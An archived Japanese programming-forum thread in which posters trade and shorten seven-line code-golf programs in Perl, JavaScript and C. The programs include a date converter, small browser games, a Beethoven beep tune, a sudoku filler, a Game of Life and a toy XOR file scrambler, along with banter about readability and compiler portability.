@A=@ARGV;$D=$A[2]-1;$D+=365+!($_%4)for 1970..$A[0]-1;$D+=$_-2?31-$_*.86%2:28+!(
$A[0]%4)for 1..$A[1]-1;print 60*(60*(24*$D+$A[3]-9)+$A[4])+$A[5],$/;
758 :デフォルトの名無しさん :2008/04/01(火) 02:19:47
もう一字縮めとく

@A=@ARGV;$D=$A[2]-1;$D+=365+!($_%4)for 1970..$A[0]-1;$D+=$_-2?31-$_*.86%2:28+!(
$A[0]%4)for 1..$A[1]-1;print$A[5]+60*(60*(24*$D+$A[3]-9)+$A[4]),$/;
759 :デフォルトの名無しさん :2008/04/01(火) 02:19:57
>>755
timelocal は使わないでってこと?
760 :デフォルトの名無しさん :2008/04/01(火) 02:29:41
use Time::Local;
@A=@ARGV;print timelocal($A[5],$A[4],$A[3],$A[2],$A[1]-1,$A[0]-1900);
761 :デフォルトの名無しさん :2008/04/01(火) 02:49:40
-1900は不要だな
762 :デフォルトの名無しさん :2008/04/01(火) 06:03:52
perl -MTime::Local -e "print timelocal@ARGV[5,4,3,2],--$ARGV[1],@ARGV" 2008 4 1 6 5 4

($Y,$M,$D,$h,$m,$s)=@ARGV;--$D;$D+=365+!($_%4)for 1970..$Y-1;$D+=$_-2?31-$_*.86
%2:28+!($Y%4)for 1..$M-1;print$s+60*(60*(24*$D+$h-9)+$m),$/
763 :デフォルトの名無しさん :2008/04/01(火) 08:02:27
>>626 をマウスで動かすようにしてみた
普通に縮めたら 5行強だった

<body id=B onmousemove=with(event)X=x,Y=y,f=ctrlKey><script>for(s=99,m=[X=Y=f=i
=0];i++<s*s;)if(i%s&i/s&1){for(v=15;m[j=i+((r=(Math.random()*4|0)-2)%2?r*s:r+1)
];t=l=s-1);m[i]=m[j]=1}(K=function(){a=t+(165<Y||Y<135&&-1);b=l+(145<X||X<115&&
-1);if(!m[a*s+l]&0<=a&a<s)t=a;if(!m[t*s+b]&0<=b&b<s)l=b;o=v/2|0;for(h=i='';i<v*
v;h+=++i%v?'':'<br>')h+=(a=(i/v|0)-o+t)<0|(b=i%v-o+l)<0|s<=a|s<=b|m[a*s+b]?'■'
:a|b?a-t|b-l?'_':'自':e='終';B.innerHTML=h;t|l&&setTimeout(K,f*99||250)||alert
(e)})()</script>

Ctrl キーを押してると速くなる
Firefox で動くようにしても激重だったから IE 専で。
その IE で onload にまとめるとこれも激重になったから結局こうなった
764 :755 :2008/04/01(火) 17:45:15
>>756
あー、そうですね
上手く動いてたから気付いてなかった
>>758
うーん、かなり短くなりますね
まだまだ勉強不足だ

>>759
実は、timelocalの存在に気付いたのは、作った後だったんです……

>>762
かなり短くなりましたね
俺は閏年判定をかなり厳密にやってたんですけど、やっぱり意味なかったんですねw
765 :デフォルトの名無しさん :2008/04/06(日) 00:43:22
思いつきで作ってみた。

⊂( ^ω^)⊃耐久走

<body onload='g={};for(i=10;i;g[--i]=p=m=c=k=0);b="<br>";R=(M=Math).random;F=M.
floor;S=function(h,l){for(q="";l--;q+=h);return q};t=setInterval(function(){c+=
k;k=0;for(j=9;j;g[j]=g[j---1]);p=R()<.4?F(R()*5)-2:p;a=g[1]+p;g[0]=a>-25?a<25?a
:25:-25;d=++m+"m"+b+S("_",81)+b;for(j=m>800?8:F(m/100);j<10;d+=S("■",40-g[j]-
j)+S(" ",j*2+1)+S("■",40+g[j]-j++)+b);X.innerHTML=d+S(" ",37+c)+"⊂(^ω^)⊃"
;if(M.abs(g[9]+c)>7)clearTimeout(t)},100)' onkeydown='k=event.keyCode-38'><pre
style="font-size:50%" id=X>

カーソルの左右でコースアウトしないように進むゲーム。100m毎に視界が縮まる。
IE、FireFox、Safariで確認。
766 :デフォルトの名無しさん :2008/04/06(日) 06:06:45
グローバルを使うなと何回言えば分かるんだ!
767 :デフォルトの名無しさん :2008/04/06(日) 06:28:51
それはいいけどさ、いろんな人が縮めてきたテクニックが一つも反映されてないんだが
768 :デフォルトの名無しさん :2008/04/06(日) 08:38:16
>>767
それでも7行
769 :デフォルトの名無しさん :2008/04/06(日) 11:57:15
>>766-767
過去のスレだとみんなそういうことはコードで語ってきたんだぜ
770 :デフォルトの名無しさん :2008/04/06(日) 12:15:38
メガデモでよくワームホール(トンネル)ってありますよね。
あれをお願いします。
771 :デフォルトの名無しさん :2008/04/06(日) 12:28:31
窓のコンソールで動くメガデモ
http://benryves.com/downloads/ascii_madness.zip
実行する時はコンソールをusにしてください。
ESCで開始、トンネルとか一通りのエフェクトが表示されます。
(cppソース付き)
772 :デフォルトの名無しさん :2008/04/06(日) 15:57:06
<body onload='g={};for(i=10;i;g[--i]=p=m=c=k=0);b="<br>";with(Math)
R=random,F=floor,A=abs;S=function(h,l){for(q="";l--;q+=h);return q};
t=setInterval(function(){c+=k;for(j=9;k=j;g[j]=g[--j]);p=R()<.4?F(R()*5
)-2:p;a=g[1]+p;g[0]=a>-25?a<25?a:25:-25;d=++m+"m"+b+S("_",81)+b;for(j=
m>800?8:F(m/100);j<10;d+=S("■",40-g[j]-j)+S(" ",j*2+1)+S("■",40+g[j]-
j++)+b);X.innerHTML=d+S(" ",37+c)+"⊂(^ω^)⊃";if(A(g[9]+c)>7)clearTimeout
(t)},100)'onkeydown=k=event.keyCode-38><pre style="font-size:50%" id=X>

with(Math)でちょっと短くなった
773 :デフォルトの名無しさん :2008/04/06(日) 16:02:09
長く見えるけど、一行72文字と勘違いして改行したためです。
774 :デフォルトの名無しさん :2008/04/06(日) 16:46:18
それはもういいよ
775 :デフォルトの名無しさん :2008/04/06(日) 16:50:53
<body style="font-size:8"onload='g=[p=m=c=k=0,0,0,0,0,0,0,0,0,0];with(Math)R=
random,F=floor,A=abs;S=function(h,l){for(q=h;--l;q+=h);return q};t=setInterval
(function(){c+=k;for(j=9;k=j;g[j]=g[--j]);p=R()<.4?F(R()*5)-2:p;a=g[1]+p;g[0]=
a>-25?a<25?a:25:-25;d=++m+"m"+(b="<br>")+S("_",81)+b;for(j=m>800?8:F(m/100);j<
10;d+=S("■",40-g[j]-j)+S(" ",j*2+1)+S("■",40+g[j]-j++)+b);if(A(g[9]+c)>7)
clearTimeout(t);document.body.innerHTML=d+S(" ",37+c)+"⊂(^ω^)⊃"},100)'
onkeydown=k=event.keyCode-38>

もうちょっと
776 :デフォルトの名無しさん :2008/04/09(水) 16:36:01
#include <windows.h>
main(i){int a[]={0,293,0,293,0,-70,0,220,0,147,0,-70,0,220,0,147,0,-25,0,147,
220,293,110,20,110,293,385,460,110,20,110,440,110,460,110,-20,110,385,110,293,
110,30,110,-70,293,0,-70,0,220,0,147,0,-70,0,220,0,147,0,-25,0,147,220,293,110
,20,110,293,385,460,110,20,110,440,110,460,110,-20,110,385,110,293,110,30,110,
-70,293,147,0,147,293,385,440,220,110,220,0,440,147,55,-70,55,147,220,293,110,
0,110,-70,293,55,55,55,110,147,0,110,0,147,0,220,0,410,0,293,0,220,0,-25,0,55,
0,293,0,-70,0,220,0,147,0,-70,0,147,220,293,0,-67,0,220,0,147,0,-25,0,147,293,
440,147,110,147,440,147,55,147,55,147,-25,55,147,0,-15,0,110,0,147},b=0;printf
("Adieu\tby L.v.Beethoven");while(i<175)Beep(b+=a[i++]+440,400);}

ベートーベン10行
777 :デフォルトの名無しさん :2008/04/09(水) 16:37:41
間違えたw
#include <windows.h>
main(i){int a[]={0,293,0,293,0,-70,0,220,0,147,0,-70,0,220,0,147,0,-25,0,147,
220,293,110,20,110,293,385,460,110,20,110,440,110,460,110,-20,110,385,110,293,
110,30,110,-70,293,0,-70,0,220,0,147,0,-70,0,220,0,147,0,-25,0,147,220,293,110
,20,110,293,385,460,110,20,110,440,110,460,110,-20,110,385,110,293,110,30,110,
-70,293,147,0,147,293,385,440,220,110,220,0,440,147,55,-70,55,147,220,293,110,
0,110,-70,293,55,55,55,110,147,0,110,0,147,0,220,0,410,0,293,0,220,0,-25,0,55,
0,293,0,-70,0,220,0,147,0,-70,0,147,220,293,0,-67,0,220,0,147,0,-25,0,147,293,
440,147,110,147,440,147,55,147,55,147,-25,55,147,0,-15,0,110,0,147};printf
("Adieu\tby L.v.Beethoven");while(i<175)Beep(a[i++]+440,400);}
778 :デフォルトの名無しさん :2008/04/10(木) 04:10:23
一部の音の調律が狂ってるっぽいけど面白い
他の曲も頼む
エルガーの朝の挨拶とか
779 :デフォルトの名無しさん :2008/04/10(木) 11:21:08
それよりうまく圧縮して7行に収めないか?
780 :デフォルトの名無しさん :2008/04/10(木) 15:52:46
文字コードで表せる範囲に移してリテラルにして、
一文字づつ読ませて行ければ、7行になるかな。。。
781 :デフォルトの名無しさん :2008/04/10(木) 18:19:29
#include <windows.h>
main(i){int a[]={-70,-67,-25,-20,-15,0,20,30,55,110,147,220,293,385,410,440,
460};printf("Adieu\tby L.v.Beethoven");while(i<175)Beep(a["fmfmfaflfkfaflfkfc"
"fklmjgjmnqjgjpjqjdjnjmjhjamfaflfkfaflfkfcfklmjgjmnqjgjpjqjdjnjmjhjamkfkmnplj"
"lfpkiaiklmjfjamiiijkfjfkflfofmflfcfifmfaflfkfafklmfbflfkfcfkmpkjkpkikikcikfe"
"fjfk"[i++]-'a']+440,400);}
782 :デフォルトの名無しさん :2008/04/10(木) 18:34:49
> a["..."[i++]-'a']
感動した
783 :デフォルトの名無しさん :2008/04/10(木) 20:35:15
すげぇ
何が起こってるのか一瞬わからんかった
784 :デフォルトの名無しさん :2008/04/11(金) 11:26:07
[JS]わずか14KBのJavaScriptで動作するスーパーマリオ | コリス
http://coliss.com/articles/build-websites/operation/javascript/976.html

nihilogic: Super Mario in 14kB Javascript
http://blog.nihilogic.dk/2008/04/super-mario-in-14kb-javascript.html

小さい+音ありバージョン
Javascript Mario (small, with music)
http://www.nihilogic.dk/labs/mario/mario_small_music.htm
785 :デフォルトの名無しさん :2008/04/11(金) 17:28:54
やっと日本でも紹介されたか
786 :デフォルトの名無しさん :2008/04/11(金) 17:30:36
14KBって結構あるよな.
787 :デフォルトの名無しさん :2008/04/11(金) 20:23:22
>>786
オリジナルの方は40KBだからな。
788 :デフォルトの名無しさん :2008/04/11(金) 20:46:55
おし、じゃあ7行に縮めろ
789 :デフォルトの名無しさん :2008/04/11(金) 21:04:51
ぷよぷよって今何バイト?
790 :デフォルトの名無しさん :2008/04/11(金) 21:30:19
アルルがいなくなったので数えてない
791 :デフォルトの名無しさん :2008/04/11(金) 21:46:40
コンパイルがこけたから知らない
792 :デフォルトの名無しさん :2008/04/12(土) 07:22:35
ぷよぶよは、681バイトのがあった
http://zapanet.info/blog/item/1134

これよりもっと手の入れられたのがあったら、書いて欲しいっす
793 :デフォルトの名無しさん :2008/04/13(日) 18:06:55
<script>
document.body.contentEditable=true;
window.ondblClick=function(){a=window.open();a.document.write(document.body.innerHTML);}
</script>

某スレで拾ってきた。
IEだとcontentEditableなんてのが使えるのか。
794 :デフォルトの名無しさん :2008/04/13(日) 18:44:51
Mozilla でも designMode って属性があるみたいだけど
サンプルが見当たらなく、動くか判らん。
http://www.mozilla-japan.org/editor/midas-spec.html
795 :デフォルトの名無しさん :2008/04/14(月) 00:17:21
お前の目は節穴か?
ttp://devedge-temp.mozilla.org/viewsource/2003/midas/01/
796 :デフォルトの名無しさん :2008/04/14(月) 19:58:24
>>792
dクス
797 :デフォルトの名無しさん :2008/04/29(火) 08:58:27
秋元@サイボウズラボ・プログラマー・ブログ: 20行のJavascript+canvasでここまでできる
http://labs.cybozu.co.jp/blog/akky/archives/2008/04/20lines-javascript-effects-by-canvas.html

Twinkle - split screen | Mathieu 'P01' HENRI | 20080427
http://www.p01.org/releases/DHTML_contests/files/20lines_twinkle/

The specification of Canvas being in progress, this script is best rendered in a recent browser such as Opera 9.5 or Firefox 3.
798 :デフォルトの名無しさん :2008/04/29(火) 09:09:00
DHTML contests | www.p01.org
http://www.p01.org/releases/DHTML_contests/

この人一杯作ってるのな
799 :デフォルトの名無しさん :2008/04/30(水) 16:53:16
>>50を思い出したようにPerlで数独問題の自動生成やってみてるけど難しいね
解法ならぐぐればわさわさ出てくるけど、生成はなぜか極端に少ない

# まあ、gnudoqとかJava版(タイムインターメディア)はあるけど

生成理論が簡単なだけに、実装が複雑になると凄いトリッキーな方法が
あるんじゃないかと思って苦戦中
800 :デフォルトの名無しさん :2008/04/30(水) 17:46:42
自動生成って、定義が難しいよね。
解けないものや解が2つ以上あるものは論外だとして、
例えば完全体から1マス抜くだけでも生成だよね。
最低何マスとかいう制限つきになるのかな。

7行は可能そうに思える
801 :デフォルトの名無しさん :2008/04/30(水) 18:12:15
解けないか否かは全マスについて縦横エリアを走査すれば楽に判断できる。
(勿論、コードを削ったり処理速度を上げようとすると楽とはいかないが)

雑誌に掲載するナンクロを生成するソフトなら、解が2つ以上というのは
支障があるかもしれないけど、普通に遊ぶ分には関係ないかも。

んで思ったんだが>>800の言葉を借りると、その「完全体」を作るのが
面倒って言ってるんじゃないかな。
802 :デフォルトの名無しさん :2008/04/30(水) 19:24:44
>>801

> 解けないか否かは全マスについて縦横エリアを走査すれば楽に判断できる。

それは嘘。とけるかどうかの判定は多項式時間で出来ない

> んで思ったんだが>>800の言葉を借りると、その「完全体」を作るのが
> 面倒って言ってるんじゃないかな。

一瞬じゃないか?ちょっと作ってみる
803 :デフォルトの名無しさん :2008/04/30(水) 19:53:03
>>802
縦横エリアを調べて同じ数があれば
成立しないから「解なし」じゃん
804 :デフォルトの名無しさん :2008/04/30(水) 20:03:42
出来た。
楽に7行になったから、短縮の工夫はおろか、checkやらmapやら長いトークン使いまくり。
再帰をなくせば5行いけそう。ここから新規の問題を作成するのは大変そうだ。

#include <stdio.h>
int map[100]={0};check(int c,int n){int i,v=10;while(v>0){i=c-v;while(map[i]&&
map[i]!=n)i-=v;if(map[i])return 0;v-=9;}v=(c%10)/3+((c-10)/30)*3;while(c>10){c
--;if((c%10)/3+((c-10)/30)*3!=v)continue;if(map[c]==n)return 0;}return 1;}main
(int c,char** x) {if(c%10==0)return main(c+1,0);if(c==91)return 1;int i;for(i=
1;i<10;i++){map[c+9]=i;if(check(c+9,i)){if(main(c+1,0)){printf("%d%c",i,(c%10-
1)?' ':'\n');return 1;}}}return 0;}
805 :デフォルトの名無しさん :2008/04/30(水) 20:05:36
>>803
それは自明だけど、縦横エリアには問題がないけど
解きすすめていくと絶対に解けないような場合は
判断できないよね。
806 :デフォルトの名無しさん :2008/04/30(水) 21:19:18
>>804
速いな。7行って慣れるとこのスピードで出来るんだな
807 :デフォルトの名無しさん :2008/04/30(水) 21:31:02
$ ./makesudoku -w 0 | ./checksudoku
OK
$ ./makesudoku --help
-w 虫食いの数
--help ヘルプ

こういう無駄なことやってみたいなw
808 :デフォルトの名無しさん :2008/04/30(水) 23:17:46
>>805
問題の規模は盤面の大きさで決まるわけで
盤面の大きさはどうせ変わらないのだから
 絶対に解けない=解が2つ以上ある
ということで判定できるんじゃね
809 :デフォルトの名無しさん :2008/05/01(木) 01:18:38
解いてゆくと矛盾する解を忘れてるぞ。
810 :デフォルトの名無しさん :2008/05/01(木) 02:02:01
ただ単にそれは解なしじゃないか
811 :デフォルトの名無しさん :2008/05/01(木) 12:05:43
>>804
元ソース希望してもいい?
頭こんがらがってきたから整理して流れを見てみたい
812 :デフォルトの名無しさん :2008/05/01(木) 13:53:01
>>811
俺は最初からこういう書き方をしているから、
元ソースはインデントが整ってるだけだよ。
コメントつけてあげてみる。

ttp://kissho.xii.jp/1/src/1jyou34093.txt.html
813 :デフォルトの名無しさん :2008/05/02(金) 02:16:34
>>812
このコードを1時間弱で書いたのか?
どういう手順(というか思考)で書いたのか激しく気になる。
814 :デフォルトの名無しさん :2008/05/02(金) 05:42:40
>>812
コメアリ
一眠りしてから見てみるか・・・
815 :デフォルトの名無しさん :2008/05/02(金) 21:51:58
>>813
そんなに複雑じゃ無かったよ。
まず書き始める前に、プログラム的に再帰が必須に思えるから
文字数減らすためにmain関数で再帰をすることを確定した。
それで次にmapは番兵つくればチェックの必要がなくなりそうだから
一つ余計に大きくして10x10のmapにした。
常に1を返すcheck関数を作って動作確認、とりあえずOKそう。
次にcheck関数を作る。関数にしたのは開発のためで、
文字数がきつければmain関数の中に埋め込むつもりだった。
自分の置いた場所より前に戻ってのみチェックをすればいいから、
縦にチェックするときは10ずつ、横にチェックするときは1ずつ引けばいい。
ここでもう一度動作確認、ここまでもOKそう。
最後、同じエリアに同じ数字があるかどうかのチェックコードは
エリアをuniqueな形に出力する数式を作ればとりあえずなんとかなりそう。
一番最初に思いついた数式をとりあえず使って動作確認、問題なし。
ためしにスペースを削ったら余裕で7行に収まったから最後に動作確認して終了。
816 :デフォルトの名無しさん :2008/05/03(土) 16:40:01
ソースコードより長い・・・
817 :デフォルトの名無しさん :2008/05/03(土) 18:36:40
>>816
wwww
818 :デフォルトの名無しさん :2008/05/03(土) 19:52:43
>>816
誰がうまいこといえとwww

まぁ短くなればなるほど思想は長くなるわな
819 :デフォルトの名無しさん :2008/05/04(日) 12:02:16
>>816
その発想は無かったわwwww
820 :デフォルトの名無しさん :2008/05/04(日) 12:35:33
ファイルデータの半分以上をコメントが占めるスレ
821 :デフォルトの名無しさん :2008/05/04(日) 15:06:26
Knuth先生が読んだら我が意を得たりと思うだろうか?
822 :デフォルトの名無しさん :2008/05/04(日) 21:56:58
プログラムの説明がプログラムより長くなるのは普通の事だと思うが


だから仕様記述言語はbtks
823 :デフォルトの名無しさん :2008/05/04(日) 22:47:54
もともと短すぎてわからないんだもんなw
824 :デフォルトの名無しさん :2008/05/05(月) 01:07:14
ハエーから7行専用マクロとか持ってるのかとオモタYO!
825 :デフォルトの名無しさん :2008/05/05(月) 01:27:43
ま、楽しいコードもだいぶでたことだし、そろそろお開きにしてみては
ど〜だ?
正直言ってこのスレ、最初は洒落てたけど、最近は駄スレ通り越して
ちょっとヤバスレになりつつある。
この種の技術の鍛錬の善し悪しはグレーゾーンの真ん真ん中。
良い事なのか悪い事なのかスレスレの世界だ。
個人レベルで密やかにやることに戻ったらどーだ?
826 :デフォルトの名無しさん :2008/05/05(月) 01:38:35
意味不明です。論理的に
827 :デフォルトの名無しさん :2008/05/05(月) 01:40:46
>>825
そ、そうだったのか!
どうして気づいたのかkwsk!
828 :デフォルトの名無しさん :2008/05/05(月) 02:00:06
若手への悪影響も考える潮時かもな
829 :デフォルトの名無しさん :2008/05/05(月) 06:28:13
>>825
ヤバイのはお前の頭のようだ
830 :デフォルトの名無しさん :2008/05/05(月) 06:49:34
反応すんなよw
831 :デフォルトの名無しさん :2008/05/05(月) 09:36:06
>>825
print ど〜だ?w
832 :デフォルトの名無しさん :2008/05/05(月) 18:26:00
>>825
じゃ俺たち一同で「個人的に」楽しむから
お前一人だけこのスレ見ないでくれ。
833 :デフォルトの名無しさん :2008/05/05(月) 18:53:59
やべー、このスレから逮捕者が出るのか?
834 :デフォルトの名無しさん :2008/05/05(月) 23:22:47
おまいら縦読みにマジレスとか
835 :デフォルトの名無しさん :2008/05/05(月) 23:49:28
もうこのスレが出来てから7年近い歳月が...
その頃中学生だった奴も、もう大学生で就職活動をしてても
おかしくない
でも、このスレで育った子が社会に出るのはちと怖いのだが...
836 :デフォルトの名無しさん :2008/05/06(火) 12:42:10
まさしく俺だな
837 :デフォルトの名無しさん :2008/05/06(火) 22:31:43
と思ってる奴は救いがある。
こういうのは空気感染に近い性質があるからやっかいだ。
強い影響を受けているのは、物心付いたころにはすでにPCが
あった世代。つーかPCと一緒に成長した世代。
838 :デフォルトの名無しさん :2008/05/06(火) 22:53:20
影響を受けてなんの問題があるのか分からん
839 :デフォルトの名無しさん :2008/05/06(火) 23:58:57
影響を受けるレベルじゃ駄目ってことだよ
影響を与えるレベルになって初めて意味がある
840 :デフォルトの名無しさん :2008/05/07(水) 00:10:07
7行プログラミング能力が良い影響力を与えられるという信じるならおK
悪影響も与えるのではないかと懸念できたらもっと素晴らしい
841 :デフォルトの名無しさん :2008/05/07(水) 00:20:10
日本語でおk
842 :デフォルトの名無しさん :2008/05/07(水) 01:17:22
>>839
影響を受けることと影響を与えることは相反しないだろ
843 :デフォルトの名無しさん :2008/05/07(水) 02:08:28
コード濃縮は、他人がしてるの見ると禁止したくなるものだが
しかしそれは決してやってはならない。
コード濃縮する者は、原作者の人格権を尊重する。

これだけだな。いえることって。

可読性無視の7行スクリプト圧縮は、低速ネット回線
の時代は華だったけど、今じゃあんまりウケないテクだよな。
人格権を侵害してるとまでは思いたくないが。
844 :デフォルトの名無しさん :2008/05/07(水) 02:25:51
掲示板にコンパクトな文章を書ける能力向上は良い影響
他人の文章を換骨奪胎して別のものに作り変えるのは悪い影響
(これも程度問題)
845 :デフォルトの名無しさん :2008/05/11(日) 04:02:39
825 はたった七行でこのスレを活気付かせたのでした
846 :デフォルトの名無しさん :2008/05/11(日) 11:50:08
イイハナシダナー
847 :デフォルトの名無しさん :2008/05/12(月) 05:53:23
7、等えまお





848 :デフォルトの名無しさん :2008/05/12(月) 05:57:58
産業以上は
読めま
せん
849 :デフォルトの名無しさん :2008/05/12(月) 17:30:19
#include <stdio.h>
main(i){if(i!=8)printf("7lines\n"),main(++i);
}

ほい、産業
850 :デフォルトの名無しさん :2008/05/12(月) 17:44:07
なんていうか実にアレだな
851 :デフォルトの名無しさん :2008/05/16(金) 15:27:11
過疎

これを発音プログラム誰か作って
852 :デフォルトの名無しさん :2008/05/16(金) 18:57:27
#include <stdio.h>
main(){puts("\a\a");}
853 :デフォルトの名無しさん :2008/05/21(水) 05:28:16
perlで低機能うpろだ

七行でどの程度の機能を実装できるかが勝負だなあ
854 :デフォルトの名無しさん :2008/05/21(水) 05:52:57
ガードはきっちりと
855 :デフォルトの名無しさん :2008/05/21(水) 07:30:51
サイドギャザーで多い日も安心

用途を絞れば、しっかり動くうpろだを作れそうだよね
856 :デフォルトの名無しさん :2008/05/21(水) 10:31:33
http://cm.xrea.cc/prog/7uploader.shtml
857 :デフォルトの名無しさん :2008/05/21(水) 10:59:26
use CGI":all" ww
858 :デフォルトの名無しさん :2008/06/01(日) 11:02:30
これを7行に出来ないだろうか

http://www.nicovideo.jp/watch/sm766671

ニコニコですまん
859 :デフォルトの名無しさん :2008/06/01(日) 11:54:16
>>858
面白いなw
でも1から作るのは面倒臭そうだな。。。
860 :デフォルトの名無しさん :2008/06/01(日) 12:16:48
>>859
http://www.nicovideo.jp/watch/sm3058430
http://aruru.s10.xrea.com/lifegame.zip
861 :デフォルトの名無しさん :2008/06/01(日) 14:10:19
>>860
ちょww
もう作っちゃったのに…
862 :デフォルトの名無しさん :2008/06/01(日) 19:32:15
どれどれ
863 :デフォルトの名無しさん :2008/06/02(月) 20:19:46
>>860
う・・・jsか・・・
ていうか、既にプログラムがあったとは見落としてたなぁ
864 :デフォルトの名無しさん :2008/06/03(火) 23:48:47
>>858-860
面白いな、このシリーズw
865 :デフォルトの名無しさん :2008/06/05(木) 13:37:29
#include<stdio.h>
#include<stdlib.h>
int main(int a,char *v[]){int c,r;FILE *i,*o;if(a<3||a>4||(i=fopen(v[1],"rb"))==
NULL||(o=fopen(v[2],"wb"))==NULL){fputs("USAGE: crypt in out [pass] \n",stderr);
return EXIT_FAILURE;}if(a==4)srand(atoi(v[3]));while((c=getc(i))!=EOF){do{r=rand
()/((RAND_MAX+1U)/256);}while(r>=256);putc(c^r,o);}return EXIT_SUCCESS;}/* :( */
866 :デフォルトの名無しさん :2008/06/05(木) 16:16:53
EXIT_SUCCESSとかマクロがそのまま
EOFは-1だっけ?
867 :デフォルトの名無しさん :2008/06/05(木) 17:46:23
#include<stdio.h>
#include<stdlib.h>
main(c,v)char**v;{int r;FILE*i,*o;if(c<3||c>4||!(i=fopen(*++v,"rb"))||!(o=fope\
n(*++v,"wb")))fputs("USAGE: crypt in out [pass] \n",stderr),exit(1);if(*++v)sr\
and(atoi(*v));for(;(c=getc(i))+1;putc(c^r,o))do r=rand()/((RAND_MAX+1U)/256);w\
hile(r>=256);exit(0);}

あとちょっとでもう一行減らせるんだがなあ…
処理系定義の型・マクロのせいで#include二行取られるのが痛いな。
868 :デフォルトの名無しさん :2008/06/06(金) 00:42:48
実質5行ってのがつらいな
ここはあえてjsでやってみるとか
ちょうど参考になるソースもあるし
869 :デフォルトの名無しさん :2008/06/11(水) 15:04:56
age
870 :デフォルトの名無しさん :2008/06/12(木) 06:12:24
life.c

#include <stdio.h>
int main(){int i,j,g,y=22,x=78;char a[y+2][x+2],b[y+2][x+2];a[y/2][x/2]=
a[y/2-1][x/2]=a[y/2+1][x/2]=a[y/2][x/2-1]=a[y/2-1][x/2+1]=1;for(g=1;g<999;g++){
printf("%4d\n",g);for(i=1;i<=y;i++) {for(j=1;j<=x;j++)if(a[i][j]){printf("*");
b[i-1][j-1]++;b[i-1][j]++;b[i-1][j+1]++;b[i][j-1]++;b[i][j+1]++;b[i+1][j-1]++;
b[i+1][j]++;b[i+1][j+1]++;} else printf(".");printf("\n");}for(i=0;i<=y+1;i++)
for(j=0;j<=x+1;j++){if(b[i][j]!=2)a[i][j]=(b[i][j]==3);b[i][j]=0;}}return 0;}

余白おおすぎ
871 :デフォルトの名無しさん :2008/06/12(木) 12:09:35
あと1行ぐらいは削れそうだね
872 :デフォルトの名無しさん :2008/06/12(木) 12:37:34
aが初期化されてないがこれはバグじゃないか
873 :デフォルトの名無しさん :2008/06/12(木) 12:46:27
char a[y+2][x+2]={{0}},b[y+2][x+2]={{0}};
でいいのかな。
874 :デフォルトの名無しさん :2008/06/12(木) 14:11:42
読みづらいね。
875 :デフォルトの名無しさん :2008/06/12(木) 15:42:45
a[1920],b[1920],i,j,g;main(t){for(a[919]=a[839]=a[999]=a[918]=a[840]=1;++g<999;
){printf("%4d\n",g);for(i=0;++i<23;puts(""))for(j=1;j<79;){t=i*80+j++;printf(a[
t]?(b[t-81]++,b[t-80]++,b[t-79]++,b[t-1]++,b[t+1]++,b[t+79]++,b[t+80]++,b[t+81]
++,"*"):".");}for(i=j=0;i<24;)j<80?(b[t=i*80+j++]!=2&&(a[t]=b[t]==3),b[t]=0):(i
++,j=0);}}
876 :デフォルトの名無しさん :2008/06/13(金) 14:07:32
a[t]=1,b[t]=4のときまずくないか?
877 :デフォルトの名無しさん :2008/06/13(金) 14:08:41
すまん俺の勘違い
878 :デフォルトの名無しさん :2008/06/13(金) 14:24:54
a[1920],b[1920],*p,i,j;main(t){for(a[839]=a[840]=a[999]=a[918]=a[919]=1;;){for(
puts("\e[1;1H"),i=0;++i<23;puts("")){for(j=1;j<79;)p=b+i*80+j++,putchar(*(p-b+a
)?p[-81]++,p[-80]++,p[-79]++,p[-1]++,p[1]++,p[79]++,p[80]++,p[81]++,42:32);}for
(i=j=0;i<24;)j<80?(b[t=i*80+j++]!=2&&(a[t]=b[t]==3),b[t]=0):(i++,j=0);}}
879 :デフォルトの名無しさん :2008/06/13(金) 14:35:13
a[1920],b[1920],*p,i,j;main(t){for(a[839]=a[840]=a[999]=a[918]=a[919]=1;;){for(
puts("\e[1;1H"),i=0;++i<23;puts("")){for(j=1;j<79;)p=b+i*80+j++,putchar(p[a-b]?
p[-81]++,p[-80]++,p[-79]++,p[-1]++,p[1]++,p[79]++,p[80]++,p[81]++,42:32);}for(i
=j=0;i<24;)j<80?(b[t=i*80+j++]!=2&&(a[t]=b[t]==3),b[t]=0):(i++,j=0);}}
880 :デフォルトの名無しさん :2008/06/13(金) 16:28:59
このスレの方針はANSI C準拠なの?

それともある処理系で認められるなら、
どんな方法でも使ってかまわない?
881 :デフォルトの名無しさん :2008/06/13(金) 17:22:36
そもそもCじゃなくてもいい気がする
882 :デフォルトの名無しさん :2008/06/13(金) 17:25:44
Cを使おうってなら、gcc だと使えるひとも多いだろう。
例えば watcom only だとかだと限定を明記して
開発環境の導入方法から書いて欲しいなぁ、と。
883 :デフォルトの名無しさん :2008/06/13(金) 18:25:29
>>880
part1から語られているテーマだよな。

今のところの結論は、別にどういう処理系で書いてもいいけど、
ニッチになればなるほど認める人は少なくなるよ、って感じかな。
884 :デフォルトの名無しさん :2008/06/14(土) 10:08:02
だあね。
標準に近ければ近いほど、ここでは制限きつくなるわけで。
885 :デフォルトの名無しさん :2008/06/14(土) 14:17:45
まあ、最初からガチガチにANSI準拠にしなくていいと思うよ。
もちろんそれが可能なら、標準環境でコンパイルできないと意味を持たなくなるけど、
ほっといても>>870-879のように住人みんなで最適化するしね。
886 :デフォルトの名無しさん :2008/06/14(土) 23:14:45
7行でマインスイーパって可能?
887 :デフォルトの名無しさん :2008/06/14(土) 23:20:00
7行で○○って可能?

こういうレスを今まで何回見たか。
888 :デフォルトの名無しさん :2008/06/14(土) 23:36:10
>>886
まず何行でもいいからできるだけ短くマインスイーパを書いてみろよ。
889 :デフォルトの名無しさん :2008/06/14(土) 23:37:06
もっともな意見だ
890 :デフォルトの名無しさん :2008/06/14(土) 23:52:18
むしろ互換ライブラリを7行でっていうのはどうかな?
勿論ココのプログラムが一つ動けばいい位の割り切りが必要かもだけど。
891 :デフォルトの名無しさん :2008/06/14(土) 23:58:36
互換ライブラリって何だ?

glibcとかから標準関数のソースもってきて縮めるの?
892 :デフォルトの名無しさん :2008/06/15(日) 00:05:26
案ずるより産むが易しってことだな
覆水盆に帰らず
893 :デフォルトの名無しさん :2008/06/15(日) 00:07:18
処理系依存のライブラリで縮めたプログラムなんかを動かすための代替ライブラリってことね。
894 :デフォルトの名無しさん :2008/06/15(日) 00:12:08
#include <7lines.h>

ってすると、printf()もp()ですむ。
stdio.h以外のライブラリも使い放題。
わあラクチン。

・・・違うよな?
895 :デフォルトの名無しさん :2008/06/15(日) 00:22:39
>>894
windows.hとかをを7行で書くんだ!
・・・まあローカル処理系路線を突き詰めたらそういうのもありかもね?
それにしても7行でどこまで機能提供できるんだろうか?
